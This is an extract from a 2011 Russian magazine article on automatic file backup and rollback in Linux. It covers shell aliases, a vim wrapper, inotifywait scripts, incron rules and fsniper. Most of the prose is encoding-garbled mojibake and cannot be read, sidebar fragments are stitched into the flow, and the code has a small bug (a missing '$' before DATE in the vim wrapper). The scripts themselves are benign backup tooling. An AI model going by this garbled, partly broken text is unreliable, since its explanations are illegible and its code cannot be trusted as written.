2. «ºÁÒ à ÉÒÐÑÁÃÌß ÞÓÏÓ ÕÁÊÌ, É ÓÁ ÙÓÔËÁ ÈÁÑÁÂÏÓÁÆÓ ÂÜÒÓÑÆÆ». ¢ÏÌÆÆ 
ÒÌÏÇÎÜÊ ÃÁÑÉÁÎÓ, ÐÑÉ ËÏÓÏÑÏÍ ØÆÌÏÃÆË ÖÏØÆÓ ÒÅÆÌÁÓÝ ÌÔØÙÆ, ÎÏ ÐÏ-
ÌÔØÁÆÓ ÖÔÅÙÉÊ ÃÁÑÉÁÎÓ, Á ËÏÄÅÁ ÐÜÓÁÆÓÒà ÃÆÑÎÔÓÝ ÃÒÆ ÎÁ ÍÆÒÓÏ, ÔÇÆ ÓÏØÎÏ 
ÎÆ ÐÏÍÎÉÓ, ØÓÏ ÒÏÅÆÑÇÁÌ ÕÁÊÌ ÉÈÎÁØÁÌÝÎÏ. ¾ÓÏ ÓÉÐÉØÎÁà ÐÑÏÂÌÆÍÁ 
ËÏÅÆÑÏÃ, ÒÉÒÁÅÍÉÎÏÃ, ÃÆÂ-ÅÉÈÁÊÎÆÑÏÃ É ÐÑÏÒÓÏ ÞËÒÐÆÑÉÍÆÎÓÁÓÏÑÏÃ. © 
ÏÅÎÁ ÉÈ ÐÑÉØÉÎ ÐÏàÃÌÆÎÉà ÒÉÒÓÆÍ ËÏÎÓÑÏÌà ÃÆÑÒÉÊ.
«ÁË ÉÈÂÆÇÁÓÝ ÓÁËÉÖ ÒÉÓÔÁ×ÉÊ? ̄ ØÆÎÝ ÐÑÏÒÓÏ: ÎÆ ÐÏÐÁÅÁÓÝ Ã ÎÉÖ. ¡ ÆÒÌÉ 
ÒÆÑÝÆÈÎÏ, ÓÏ ÎÁÍ ÎÔÇÎÁ ËÁËÁà-ÓÏ ÒÉÒÓÆÍÁ, ËÏÓÏÑÁà ÂÜ ÐÏÍÎÉÌÁ ÒÏÅÆÑ-
ÇÉÍÏÆ ÃÒÆÖ ÎÁÙÉÖ ÕÁÊÌÏÃ É ÖÑÁÎÉÌÁ ÂÜ ÉÖ ÐÑÏÙÌÜÆ ÃÆÑÒÉÉ (ÃËÌßØÁà 
ÓÆ, ÏÑÉÄÉÎÁÌÜ ËÏÓÏÑÜÖ ÂÜÌÉ ÔÅÁÌÆÎÜ). ³ÏÄÅÁ Ã ÌßÂÏÊ ÍÏÍÆÎÓ ÃÑÆÍÆÎÉ 
ÍÜ ÒÍÏÇÆÍ ÃÆÑÎÔÓÝ ÃÒÆ ÎÁ ÍÆÒÓÏ ÂÆÈ ÐÏÓÆÑÝ. ¦ÚÆ ÌÔØÙÆ, ÆÒÌÉ ÒÉÒÓÆÍÁ 
ÐÑÆÅÏÒÓÁÃÉÓ ÒÐÏÒÏÂ ÒÉÎÖÑÏÎÉÈÉÑÏÃÁÓÝ ÞÓÏÓ ÁÑÖÉÃ ÎÁ ÔÅÁÌÆÎÎÔß ÍÁÙÉÎÔ, 
ØÓÏÂÜ ÅÁÎÎÜÆ ÏÒÓÁÌÉÒÝ Ò ÎÁÍÉ ÅÁÇÆ Ã ÒÌÔØÁÆ ÓÏÓÁÌÝÎÏÄÏ ËÑÁÖÁ ÃÒÆÄÏ É 
ÃÒà.

Простейшая система отката
®Æ ÈÁÍÏÑÁØÉÃÁàÒÝ Ò ØÆÍ-ÓÏ ÂÏÌÆÆ ÒÌÏÇÎÜÍ É ÓÑÆÂÔßÚÆÍ ÎÁÒÓÑÏÊËÉ, 
ÐÏÐÑÏÂÔÆÍ ÐÑÆÅÒÓÁÃÉÓÝ ÒÆÂÆ, ËÁË ÍÏÇÆÓ ÃÜÄÌàÅÆÓÝ ÐÑÏÒÓÆÊÙÁà ÒÉÒÓÆÍÁ 
ÏÓËÁÓÁ ÕÁÊÌÏÃ Ë ÐÑÆÅÜÅÔÚÉÍ ÃÆÑÒÉàÍ. ²ËÏÑÆÆ ÃÒÆÄÏ, ÞÓÏ ÂÔÅÆÓ ÎÆØÓÏ 
ÃÑÏÅÆ ÞÓÏÄÏ:

// ǵȠȠȠ, ȳ ȩȢȫȧ ȢȦȤșȘȔȞȦȜȤȢȖȔȦȰ ȨȔȝȟ confi g.cfg, ȡȢ ȡș ȩȢȫȧ 
șȗȢ ȣȢȦșȤȳȦȰ
$ cp confi g.cfg confi g.cfg.bak
// ǮȞșȝ, ȦșȣșȤȰ ȠȢȚȡȢ ȤșȘȔȞȦȜȤȢȖȔȦȰ
$ vim confi g.cfg
// ǡȤȤȤ, ȦșȣșȤȰ ȡȜȫșȗȢ ȡș ȤȔȕȢȦȔșȦ, ȣȤȜȘșȦȥȳ ȖșȤȡȧȦȰ ȢȤȜȗȜȡȔȟ
$ mv confi g.cfg.bak confi g.cfg

¤ÏÓÏÃ ÐÏÒÐÏÑÉÓÝ, ØÓÏ ÖÏÓÝ ÑÁÈ Ã ÇÉÈÎÉ ÓÜ ÓÁË ÅÆÌÁÌ. À ÓÏÇÆ. © ÞÓÏ ÖÏÑÏÙÏ, 
ÏÅÎÁËÏ ÃÃÏÅÉÓÝ ÌÉÙÎÉÆ ËÏÍÁÎÅÜ ÐÆÑÆÅ ËÁÇÅÜÍ ÑÆÅÁËÓÉÑÏÃÁÎÉÆÍ 
ÕÁÊÌÁ ÏËÁÈÜÃÁÆÓÒà ÎÆ ÏØÆÎÝ-ÓÏ ÔÅÏÂÎÏ. ²Ï ÃÑÆÍÆÎÆÍ ÎÁØÉÎÁÆÙÝ ÐÑÏÒÓÏ 
ÈÁÂÉÃÁÓÝ ÎÁ ÑÆÈÆÑÃÎÜÆ ËÏÐÉÉ.
Ü ÍÏÇÆÍ ÑÁÈÃÉÓÝ ÉÅÆß É ÎÁÐÉÒÁÓÝ ÕÔÎË×Éß, ËÏÓÏÑÁà ÂÔÅÆÓ ÅÆÌÁÓÝ 
ÂÞËÁÐ ÁÃÓÏÍÁÓÉØÆÒËÉ, ÐÑàÍÏ ÃÏ ÃÑÆÍà ÏÓËÑÜÓÉà ÕÁÊÌÁ ÎÁ ÑÆÅÁËÓÉÑÏÃÁ-
ÎÉÆ. ³ÁËÇÆ ÍÏÇÎÏ ÎÁÐÉÒÁÓÝ ÕÔÎË×Éß, ËÏÓÏÑÁà ÃÆÑÎÆÓ ÕÁÊÌ ÉÈ ÂÞËÁÐÁ. 
£ÜÄÌàÅÆÓÝ ÏÎÉ ÍÏÄÔÓ ÓÁË:

vim() {
    FILE=$1
    DATE=`date +'%F'`
    BAK=.$FILE.bak
    cp $FILE $BAK-$DATE
    rm -f $BAK
    ln -s $BAK-DATE $BAK
    vim $FILE
}
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    mv .$1.bak $1
}

°ÏÍÆÒÓÉÃ ÉÖ Ã ÕÁÊÌ ~/.bashrc, ÓÜ ÐÏÌÔØÉÙÝ ËÏÍÁÎÅÔ vim, 
ËÏÓÏÑÁà ÂÔÅÆÓ ÂÞËÁÐÉÓÝ ÕÁÊÌ ÐÑÉ ËÁÇÅÏÍ ÆÄÏ ÏÓËÑÜÓÉÉ 
(ÅÆÌÁà ÆÄÏ ÒËÑÜÓÜÍ É ÐÏÍÆØÁà ÅÁÓÏÊ), É ËÏÍÁÎÅÔ ret, ËÏÓÏÑÁà 
ÐÏÈÃÏÌÉÓ ÃÆÑÎÔÓÝ ÕÁÊÌ ÉÈ ÒÁÍÏÄÏ ÒÃÆÇÆÄÏ ÂÞËÁÐÁ ÎÁ ÍÆÒÓÏ. 
¾ÓÏ ÅÏÃÏÌÝÎÏ ÅÆÊÒÓÃÆÎÎÜÊ ÒÐÏÒÏÂ, É à ÉÒÐÏÌÝÈÔß ÆÄÏ ÅÌà 
ËÏÎÕÉÄÔÑÉÑÏÃÁÎÉà ÔÅÁÌÆÎÎÜÖ ÒÆÑÃÆÑÏÃ, ÎÏ ÎÁ ÅÏÍÁÙÎÆÊ 
ÍÁÙÉÎÆ ÏÎ ÏËÁÇÆÓÒà ÎÆ ÏØÆÎÝ ÞÕÕÆËÓÉÃÎÜÍ. ̈ ÅÆÒÝ ÕÁÊÌÜ 

ÍÏÄÔÓ ÂÜÓÝ ÅÁÌÆËÏ ÎÆ ÓÆËÒÓÏÃÜÍÉ, Á Ã ËÁØÆÒÓÃÆ ÑÆÅÁËÓÏÑÁ 
ÉÒÐÏÌÝÈÏÃÁÓÝÒà ËÔØÁ ÑÁÈÎÜÖ ÐÑÏÄÑÁÍÍ. ¢ÏÌÆÆ ÄÉÂËÁà ÒÉÒÓÆ-
ÍÁ ÅÏÌÇÎÁ ÐÆÑÆÖÃÁÓÜÃÁÓÝ ÌßÂÜÆ ÐÏÐÜÓËÉ ÉÈÍÆÎÉÓÝ ÕÁÊÌ 
ÎÁ ÔÑÏÃÎÆ ÒÉÒÓÆÍÜ É ÅÆÌÁÓÝ ÂÞËÁÐ ÁÃÓÏÍÁÓÉØÆÒËÉ.

Доверимся ядру
³ÑÔÅÎÏ ÎÁÊÓÉ ÂÏÌÆÆ ÐÏÅÖÏÅàÚÉÊ ÉÎÒÓÑÔÍÆÎÓ ÅÌà ÓÏÓÁÌÝÎÏÊ 
ÒÌÆÇËÉ ÈÁ ÕÁÊÌÁÍÉ, ØÆÍ Inotify. ±ÁÂÏÓÁà ÃÎÔÓÑÉ Linux-
àÅÑÁ, ÞÓÁ ÐÏÅÒÉÒÓÆÍÁ ÎÆ ÐÑÏÐÔÒÓÉÓ ÎÉ ÏÅÎÏÄÏ ÉÈÍÆÎÆÎÉà, 
ÏÓËÑÜÓÉà ÉÌÉ ÈÁËÑÜÓÉà ÕÁÊÌÁ, Á ÍÜ ÒÍÏÇÆÍ ÔÈÎÁÓÝ ÏÂ ÞÓÏÍ 
Ò ÐÏÍÏÚÝß ÐÑÏÒÓÏÊ ËÏÎÒÏÌÝÎÏÊ ËÏÍÁÎÅÜ ÐÏÅ ÎÁÈÃÁÎÉÆÍ 
inotifywait.
Inotifywait (ËÏÓÏÑÁà ÃÖÏÅÉÓ Ã ÒÏÒÓÁÃ ÐÁËÆÓÁ inotify-tools) 
— ÐÑÉÍÉÓÉÃÎÁà ÔÓÉÌÉÓÁ, ÏÎÁ ÇÅÆÓ ÔËÁÈÁÎÎÏÄÏ ÒÏÂÜÓÉà, 
ÒÃàÈÁÎÎÏÄÏ Ò ÏÐÑÆÅÆÌÆÎÎÜÍ ÕÁÊÌÏÍ, Á ÈÁÓÆÍ ÈÁÃÆÑÙÁÆÓÒà 
ÉÌÉ ÐÉÙÆÓ Ã ÌÏÄ Ï ÓÏÍ, ØÓÏ ÐÑÏÉÈÏÙÌÏ. ¦Æ ÏØÆÎÝ ÔÅÏÂÎÏ ÉÒ-
ÐÏÌÝÈÏÃÁÓÝ Ã ÒËÑÉÐÓÁÖ: ÅÏÒÓÁÓÏØÎÏ ÐÑÏÒÓÏ ÅÏÂÁÃÉÓÝ ÃÜÈÏÃ 
ËÏÍÁÎÅÜ Ã ÎÁØÁÌÏ ÒËÑÉÐÓÁ, Á ÅÁÌÆÆ ÐÏÍÆÒÓÉÓÝ ËÏÅ, ÍÁÎÉÐÔ-
ÌÉÑÔßÚÉÊ ÕÁÊÌÏÍ ÉÌÉ ËÁÓÁÌÏÄÏÍ.
¥Ìà ÎÁÙÆÊ ÈÁÅÁØÉ inotifywait ÐÏÅÖÏÅÉÓ ÉÅÆÁÌÝÎÏ, Ã ËÁØÆÒÓÃÆ 
ÒÏÂÜÓÉà ÍÜ ÍÏÇÆÍ ÔËÁÈÁÓÝ ÎÆ ÐÑÏÒÓÏ ÅÏÒÓÔÐ Ë ÕÁÊÌÔ, Á 
ÈÁÃÆÑÙÆÎÉÆ ÏÐÆÑÁ×ÉÉ ÆÄÏ ÉÈÍÆÎÆÎÉà, ÓÆÍ ÒÁÍÜÍ ÈÁÚÉ-
ÓÉÃ ÒÆÂà ÏÓ ÒÉÓÔÁ×ÉÊ, ËÏÄÅÁ ÕÁÊÌ ÏÓËÑÜÃÁÆÓÒà ÐÑÏÒÓÏ «ÎÁ 
ÐÏÒÍÏÓÑÆÓÝ»:

$ vi ~/bin/in-back.sh

#!/bin/sh
DIR=`pwd`
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distanz.ch/inotail/ — 
ÃÆÑÒÉà tail, ÏÒÎÏÃÁÎ-
ÎÁà ÎÁ Inotify.

links

HTTP://WWW

®É Ã ËÏÆÍ ÒÌÔØÁÆ ÎÆ 
ÉÒÐÏÌÝÈÔÊ fsniper 
ÅÌà ÎÁÂÌßÅÆÎÉà ÈÁ 
torrent-ÈÁÄÑÔÈËÁÍÉ. 
Torrent-ËÌÉÆÎÓÜ 
ÒÏÈÅÁßÓ ÕÁÊÌ ÆÚÆ 
ÅÏ ÆÄÏ ÕÁËÓÉØÆÒËÏÊ 
ÈÁÄÑÔÈËÉ, ÐÏÞÓÏÍÔ ÓÜ 
ÑÉÒËÔÆÙÝ ÃÃÆÒÓÉ ÉÖ Ã 
ÒÓÔÐÏÑ.

warning

WARNING

Возможностями файловой системы btrfs можно 
управлять и с помощью одноименной утилиты

btrfs создает иллюзию сосуществования 
нескольких файловых деревьев в рамках 
снапшотов, однако все они связаны

£Ï FreeBSD ÆÒÓÝ 
ÁÎÁÌÏÄ ÐÏÅÒÉÒÓÆÍÜ 
Inotify ÐÏÅ ÎÁÈÃÁÎÉ-
ÆÍ kqueue, ÏÅÎÁËÏ 
ÔÓÉÌÉÓ, ÒÐÏÒÏÂÎÜÖ 
ÈÁÅÆÊÒÓÃÏÃÁÓÝ ÆÄÏ 
ÃÏÈÍÏÇÎÏÒÓÉ, ÎÆÓ.

info

INFO



XÀÊÅÐ  08  /151/  2011

UNIXOID

while inotifywait -r -e modify $DIR; do
    cp $DIR ~/bak/.$DIR.bak
done;

¾ÓÏÓ ÒËÑÉÐÓ ÂÔÅÆÓ ÅÆÌÁÓÝ ÑÆÈÆÑÃÎÔß ËÏÐÉß ÓÆËÔÚÆÄÏ ËÁÓÁÌÏÄÁ ËÁÇÅÜÊ 
ÑÁÈ, ËÏÄÅÁ ÏÅÉÎ ÉÈ ÕÁÊÌÏÃ ÃÎÔÓÑÉ ÎÆÄÏ ÂÔÅÆÓ ÉÈÍÆÎÆÎ. ¾ÓÏ ÒÁÍÁà ÐÑÏ-
ÒÓÁà ÑÆÁÌÉÈÁ×Éà ÒËÑÉÐÓÁ, ËÏÓÏÑÁà ÎÆ ÔØÉÓÜÃÁÆÓ ÒÏÏÂÚÆÎÉà ÒÁÍÏÄÏ 
inotifywait É ÐÏÞÓÏÍÔ ÅÆÌÁÆÓ ÑÁÂÏÓÔ ÏØÆÎÝ ÄÑàÈÎÜÍ ÍÆÓÏÅÏÍ, ÐÑÏÒÓÏ 
ËÏÐÉÑÔà ÃÆÒÝ ÉÍÆßÚÉÊÒà ËÁÓÁÌÏÄ. ¢ÏÌÆÆ ÒÌÏÇÎÁà ÑÆÁÌÉÈÁ×Éà ÍÏÇÆÓ 
ÃÜÄÌàÅÆÓÝ ÓÁË:

$ vi ~/bin/in-back2.sh

#!/bin/sh
DIR=`pwd`
inotifywait -mr --timefmt '%d-%m-%y %H-%M' \
    --format'%T %f' -e close_write $DIR | \
while read DATE TIME FILE; do
    cp $FILE .$FILE.bak-$DATE-$TIME
done

¾ÓÏ ÒÃÏÆÄÏ ÑÏÅÁ ÔÎÉÃÆÑÒÁÌÝÎÁà ÃÆÑÒÉà ÐÏÅÖÏÅÁ, ÑÁÒÒÍÏÓÑÆÎÎÏÄÏ Ã ÎÁ-
ØÁÌÆ ÒÓÁÓÝÉ. ² ÐÏÍÏÚÝß ÕÌÁÄÁ '-m' ÍÜ ÈÁÒÓÁÃÉÌÉ inotifywait ÐÉÒÁÓÝ ÌÏÄ 
ÉÈÍÆÎÆÎÉÊ ÕÁÊÌÏÃ Ã ÒÓÁÎÅÁÑÓÎÜÊ ÃÜÃÏÅ, Ò ÐÏÍÏÚÝß ÏÐ×ÉÊ '--timefmt' É 
'--format' ÍÜ ÉÈÍÆÎÉÌÉ ÆÆ ÃÜÃÏÅ ÓÁË, ØÓÏÂÜ Ã ÌÏÄ ÐÏÐÁÅÁÌÉ ÅÁÓÁ, ÃÑÆÍà, 
Á ÓÁËÇÆ ÉÍà ÉÈÍÆÎàÆÍÏÄÏ ÕÁÊÌÁ. ¥ÁÌÆÆ ÍÜ ÒÅÆÌÁÌÉ ×ÉËÌ, ËÏÓÏÑÜÊ ØÉÓÁ-
ÆÓ ÞÓÏÓ ÌÏÄ É ËÏÐÉÑÔÆÓ ÉÈÍÆÎÆÎÎÜÆ ÕÁÊÌÜ, ÅÆÌÁà ÉÖ ÒËÑÜÓÜÍÉ É ÅÏÂÁÃ-
Ìàà Ë ÉÍÆÎÉ ÅÁÓÔ É ÃÑÆÍà ÉÈÍÆÎÆÎÉà. £ÐÏÒÌÆÅÒÓÃÉÉ ÃÒÆ ÒÏÖÑÁÎÆÎÎÜÆ 
ÓÁËÉÍ ÏÂÑÁÈÏÍ ÕÁÊÌÜ ÍÏÇÎÏ ÂÔÅÆÓ ÔÃÉÅÆÓÝ Ò ÐÏÍÏÚÝß ÓÁËÏÊ ËÏÍÁÎÅÜ:

$ ls -la | grep -e '.*\.bak-\.*'

¡ ÔÅÁÌÉÓÝ — Ò ÐÏÍÏÚÝß ÓÁËÏÊ:

$ rm -rf *.bak-*

£Ï ÃÓÏÑÏÊ ØÁÒÓÉ ÒÓÁÓÝÉ, ËÏÄÅÁ ÍÜ ÂÔÅÆÍ ÄÏÃÏÑÉÓÝ Ï ÒÐÏÒÏÂÁÖ ÒÉÎÖÑÏ-
ÎÉÈÁ×ÉÉ ÕÁÊÌÏÃ ÍÆÇÅÔ ÍÁÙÉÎÁÍÉ, à ÐÏËÁÇÔ ÂÏÌÆÆ ÑÁÈÃÉÓÔß ÃÆÑÒÉß 
ÞÓÏÄÏ ÒËÑÉÐÓÁ, Á ÐÏËÁ ÑÁÒÒÍÏÓÑÉÍ ÉÎÒÓÑÔÍÆÎÓÜ incron É fsniper, ËÏÓÏÑÜÆ 
ÅÆÌÁßÓ ÑÁÂÏÓÔ Ò inotify ÂÏÌÆÆ ÔÅÏÂÎÏÊ.

Планировщик для файлов
´ÓÉÌÉÓÁ inotifywait ÔÅÏÂÎÁ É ÐÑÏÒÓÁ Ã ÉÒÐÏÌÝÈÏÃÁÎÉÉ, ÏÎÁ ÖÏÑÏÙÏ ÐÏÅÖÏ-
ÅÉÓ ÅÌà ÓÑÉÃÉÁÌÝÎÜÖ ÒËÑÉÐÓÏÃ, ÎÏ ÑÆÁÌÉÈÏÃÁÓÝ ÒÉÒÓÆÍÔ ÓÏÓÁÌÝÎÏÊ ÒÌÆÇ-
ËÉ ÈÁ ÕÁÊÌÁÍÉ Ò ÆÆ ÐÏÍÏÚÝß ÅÏÃÏÌÝÎÏ ÒÌÏÇÎÏ. °ÏÞÓÏÍÔ ÍÜ ÃÏÒÐÏÌÝÈÔ-
ÆÍÒà ÂÏÌÆÆ ÃÜÒÏËÏÔÑÏÃÎÆÃÜÍ ÉÎÒÓÑÔÍÆÎÓÏÍ ÐÏÅ ÎÁÈÃÁÎÉÆÍ incron.
¥ÆÍÏÎ incron, ËÁË ÎÆÓÑÔÅÎÏ ÅÏÄÁÅÁÓÝÒà ÐÏ ÎÁÈÃÁÎÉß, ÞÓÏ Inotify-ÃÆÑÒÉà 
ÒÓÁÎÅÁÑÓÎÏÄÏ cron. ̄ Î ØÉÓÁÆÓ ÒÐÉÒÏË ÐÑÁÃÉÌ, ÈÁÓÆÍ ÐÆÑÆÖÏÅÉÓ Ã ÕÏÎ É 
ÇÅÆÓ, ÐÏËÁ ÎÆ ÎÁÒÓÔÐÉÓ ÏÐÉÒÁÎÎÏÆ Ã ÐÑÁÃÉÌÁÖ ÒÏÂÜÓÉÆ. «ÏÄÅÁ ÞÓÏ ÐÑÏ-
ÉÒÖÏÅÉÓ, ÈÁÐÔÒËÁÆÓÒà ÔËÁÈÁÎÎÏÆ ÐÑÉÌÏÇÆÎÉÆ/ÒËÑÉÐÓ, ËÏÓÏÑÏÍÔ ÍÏÄÔÓ 
ÂÜÓÝ ÐÆÑÆÅÁÎÜ ÓÁËÉÆ ÁÑÄÔÍÆÎÓÜ, ËÁË ÃÑÆÍà ÍÏÅÉÕÉËÁ×ÉÉ, ÉÍà ÕÁÊÌÁ É 
ËÁÓÁÌÏÄÁ É ÅÑÔÄÉÆ. £ÒÆÄÏ ÉÖ ØÆÓÜÑÆ:

$@ – ȞȔȦȔȟȢȗ/ȨȔȝȟ, țȔ ȞȢȦȢȤȯȠ ȖșȘșȦȥȳ ȡȔȕȟȲȘșȡȜș
$# – ȜȠȳ ȨȔȝȟȔ, ȥ ȞȢȦȢȤȯȠ ȥȖȳțȔȡȢ ȣȤȢȜțȢȬșȘȬșș ȥȢȕȯȦȜș

Тестируем inotifywait на каталоге /proc

Пишем скрипт для удаленного бэкапа файлов

 094
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$% – ȨȟȔȗȜ ȥȢȕȯȦȜȳ (Ȗ ȦșȞȥȦȢȖȢȠ ȨȢȤȠȔȦș)
$& – ȨȟȔȗȜ ȥȢȕȯȦȜȳ (Ȗ ȫȜȥȟȢȖȢȠ ȨȢȤȠȔȦș)

¥Ìà ÅÏÂÁÃÌÆÎÉà ÒÏÂÜÓÉÊ É ÐÑÁÃÉÌ ÉÒÐÏÌÝÈÔÆÓÒà cron-ÐÏÅÏÂÎÁà ÔÓÉÌÉÓÁ 
incrontab, ÃÜÈÏÃ ËÏÓÏÑÏÊ Ò ÕÌÁÄÏÍ '-i' ÐÑÉÃÆÅÆÓ Ë ÑÁÒÐÆØÁÓËÆ ÓÆËÔÚÆÄÏ 
ÒÐÉÒËÁ ÐÑÁÃÉÌ. ¥Ìà ÅÏÂÁÃÌÆÎÉà ÎÏÃÜÖ ÐÑÁÃÉÌ ÉÒÐÏÌÝÈÔÆÍ ÔÇÆ ÈÎÁËÏ-
ÍÜÊ ÐÏ cron ÕÌÁÄ '-e'. ̄ ÓËÑÏÆÓÒà ÑÆÅÁËÓÏÑ, Ã ËÏÓÏÑÜÊ ÍÏÇÎÏ ÃÐÉÒÁÓÝ ÐÑÁ-
ÃÉÌÁ É ÈÁËÑÆÐÌÆÎÎÜÆ ÈÁ ÎÉÍÉ ËÏÍÁÎÅÜ, ÉÒÐÏÌÝÈÔà ÒÌÆÅÔßÚÉÊ ÙÁÂÌÏÎ:

[ȣȧȦȰ] [ȘșȝȥȦȖȜș] [ȞȢȠȔȡȘȔ]

¨ÅÆÒÝ «ÐÔÓÝ» — ÞÓÏ ÐÔÓÝ ÅÏ ÕÁÊÌÁ/ËÁÓÁÌÏÄÁ, «ÅÆÊÒÓÃÉÆ» — ÏÐÆÑÁ×Éà, 
ÒÏÃÆÑÙÁÆÍÁà ÎÁÅ ÕÁÊÌÏÍ, Á «ËÏÍÁÎÅÁ» — ÞÓÏ ËÏÍÁÎÅÁ, ËÏÓÏÑÁà ÂÔÅÆÓ 
ÃÜÐÏÌÎÆÎÁ Ã ÒÌÔØÁÆ ÃÏÈÎÉËÎÏÃÆÎÉà ÅÆÊÒÓÃÉà ÐÏ ÏÓÎÏÙÆÎÉß Ë ÔËÁÈÁÎÎÏ-
ÍÔ ÕÁÊÌÔ (Ã ËÁØÆÒÓÃÆ ÁÑÄÔÍÆÎÓÏÃ ÍÏÄÔÓ ÂÜÓÝ ÉÒÐÏÌÝÈÏÃÁÎÜ ÐÑÉÃÆÅÆÎÎÜÆ 
ÃÜÙÆ ÍÆÓÁÐÆÑÆÍÆÎÎÜÆ).
²ÐÉÒÏË ÐÏÅÅÆÑÇÉÃÁÆÍÜÖ ÅÆÊÒÓÃÉÊ ÐÏÌÎÏÒÓÝß ÒÏÃÐÁÅÁÆÓ ÒÏ ÒÐÉÒËÏÍ 
ÅÆÊÒÓÃÉÊ ÒÁÍÏÊ ÐÏÅÒÉÒÓÆÍÜ inotify É ËÏÍÁÎÅÜ inotifywait. £ÏÓ ÏÎ:

IN_ACCESS — ǯȤȢȜțȢȬȟȢ ȢȕȤȔȭșȡȜș Ȟ ȨȔȝȟȧ (ȡȔȣȤȜȠșȤ, ȫȦșȡȜș)
IN_ATTRIB — ǬșȦȔȘȔȡȡȯș ȨȔȝȟȔ (ȦȔȞȜș ȞȔȞ ȖȟȔȘșȟșȪ ȜȟȜ ȣȤȔȖȔ 
ȘȢȥȦȧȣȔ) ȕȯȟȜ ȜțȠșȡșȡȯ
IN_CLOSE_WRITE File — ǴȔȝȟ, ȢȦȞȤȯȦȯȝ Șȟȳ țȔȣȜȥȜ, ȕȯȟ ȧȥȣșȬȡȢ 
țȔȞȤȯȦ
IN_CLOSE_NOWRITE File — ǴȔȝȟ, ȢȦȞȤȯȦȯȝ ȡș Șȟȳ țȔȣȜȥȜ, ȕȯȟ țȔȞȤȯȦ
IN_CREATE — Ǣ ȡȔȕȟȲȘȔșȠȢȠ ȞȔȦȔȟȢȗș ȕȯȟ ȥȢțȘȔȡ ȨȔȝȟ
IN_DELETE — ǴȔȝȟ ȕȯȟ ȧȘȔȟșȡ Ȝț ȡȔȕȟȲȘȔșȠȢȗȢ ȞȔȦȔȟȢȗȔ
IN_DELETE_SELF — ǡȯȟ ȧȘȔȟșȡ ȥȔȠ ȡȔȕȟȲȘȔșȠȯȝ ȞȔȦȔȟȢȗ
IN_MODIFY — ǴȔȝȟ ȕȯȟ ȜțȠșȡșȡ
IN_MOVE_SELF — ǭȔȕȟȲȘȔșȠȯȝ ȞȔȦȔȟȢȗ/ȨȔȝȟ ȕȯȟ ȣșȤșȠșȭșȡ
IN_MOVED_FROM — ǴȔȝȟ ȕȯȟ ȣșȤșȠșȭșȡ țȔ ȗȤȔȡȜȪȯ ȡȔȕȟȲȘȔșȠȢȗȢ
ȞȔȦȔȟȢȗȔ
IN_MOVED_TO — ǴȔȝȟ ȕȯȟ ȣșȤșȠșȭșȡ Ȗ ȡȔȕȟȲȘȔșȠȯȝ ȞȔȦȔȟȢȗ
IN_OPEN — ǴȔȝȟ ȕȯȟ ȢȦȞȤȯȦ

¥Ìà ÔÐÑÁÃÌÆÎÉà ÓÆÍ, ËÓÏ ÍÏÇÆÓ ÅÏÂÁÃÌàÓÝ ÐÑÁÃÉÌÁ, ÉÒÐÏÌÝÈÔßÓÒà ÕÁÊÌÜ 
/etc/incron.allow É /etc/incron.deny, ËÏÓÏÑÜÆ ÒÏÅÆÑÇÁÓ ÒÐÉÒÏË ÑÁÈÑÆ-
ÙÆÎÎÜÖ É ÈÁÂÌÏËÉÑÏÃÁÎÎÜÖ ÐÏÌÝÈÏÃÁÓÆÌÆÊ. °Ï ÔÍÏÌØÁÎÉß ÞÓÉ ÕÁÊÌÜ 
ÎÆ ÒÔÚÆÒÓÃÔßÓ, ÐÏÞÓÏÍÔ ÒÏÈÅÁÓÝ ÎÏÃÏÆ ÐÑÁÃÉÌÏ ÏÓ ÒÃÏÆÄÏ ÉÍÆÎÉ ÍÏÇÆÓ 
ÌßÂÏÊ ÐÏÌÝÈÏÃÁÓÆÌÝ.
¥ÆÍÏÎ incrond ÏØÆÎÝ ÔÅÏÂÆÎ ÅÌà ÑÆÙÆÎÉà ÎÁÙÆÊ ÈÁÅÁØÉ. ̄ Î ÒÓÁÑÓÔÆÓ 
ÃÏ ÃÑÆÍà ÒÓÁÑÓÁ ̄ ² É ÐÏÒÓÏàÎÎÏ ÎÁÖÏÅÉÓÒà Ã ÕÏÎÆ, Á Ã ÐÑÁÃÉÌÝÎÜÖ ÅÉÒ-
ÓÑÉÂÔÓÉÃÁÖ ÆÚÆ É ÐÆÑÆÈÁÐÔÒËÁÆÓÒà ÐÏÒÌÆ ÐÁÅÆÎÉà. °ÑÏÂÌÆÍÜ ÒËÑÉÐÓÏÃ, 
ÏÓÃÁÌÉÃÁßÚÉÖÒà ÏÓ ÓÆÑÍÉÎÁÌÁ, ÆÄÏ ÎÆ ËÁÒÁßÓÒà.
£ÏÓ ÐÑÏÒÓÆÊÙÉÊ ÐÑÉÍÆÑ ÓÏÄÏ, ËÁË ÍÏÇÎÏ ÉÒÐÏÌÝÈÏÃÁÓÝ incrond ÅÌà ÒÌÆ-
ÇÆÎÉà É ÂÞËÁÐÁ ÕÁÊÌÏÃ ËÁÓÁÌÏÄÁ /etc. ̈ ÁÐÔÒËÁÆÍ ÑÆÅÁËÓÏÑ ÐÑÁÃÉÌ:

$ export EDITOR=vim
$ sudo crontab -e

© ÐÉÙÆÍ ÒÌÆÅÔßÚÔß ËÏÍÁÎÅÔ:

/etc IN_CLOSE_WRITE /bin/cp $@/$# $@/.$#.bak-`/bin/date +'%F'`

¾ÓÏ ÃÒÆ, ÓÆÐÆÑÝ ÐÏÒÌÆ ËÁÇÅÏÄÏ ÑÆÅÁËÓÉÑÏÃÁÎÉà ËÏÎÕÉÄÔÑÁ×ÉÏÎÎÏÄÏ 
ÕÁÊÌÁ ÂÔÅÆÓ ÒÏÈÅÁÃÁÓÝÒà ÆÄÏ ÒËÑÜÓÁà É ÐÏÍÆØÆÎÎÁà ÅÁÓÏÊ ÍÏÅÉÕÉËÁ×ÉÉ 
ËÏÐÉà, ÐÏØÓÉ ÓÁË ÇÆ, ËÁË É ÃÏ ÃÒÆÖ ÐÑÉÃÆÅÆÎÎÜÖ ÑÁÎÆÆ ÐÑÉÍÆÑÁÖ.

Каждому файлу — свое место
²ÔÚÆÒÓÃÔÆÓ ÆÚÆ ÂÏÌÆÆ ÉÎÓÆÑÆÒÎÁà inotify-ÔÓÉÌÉÓÁ ÐÏÅ ÎÁÈÃÁÎÉÆÍ fsniper 
(freshmeat.net/projects/fsniper). ¥Ìà ÑÆÙÆÎÉà ÎÁÙÆÊ ÈÁÅÁØÉ ÏÎÁ ÂÔÅÆÓ 
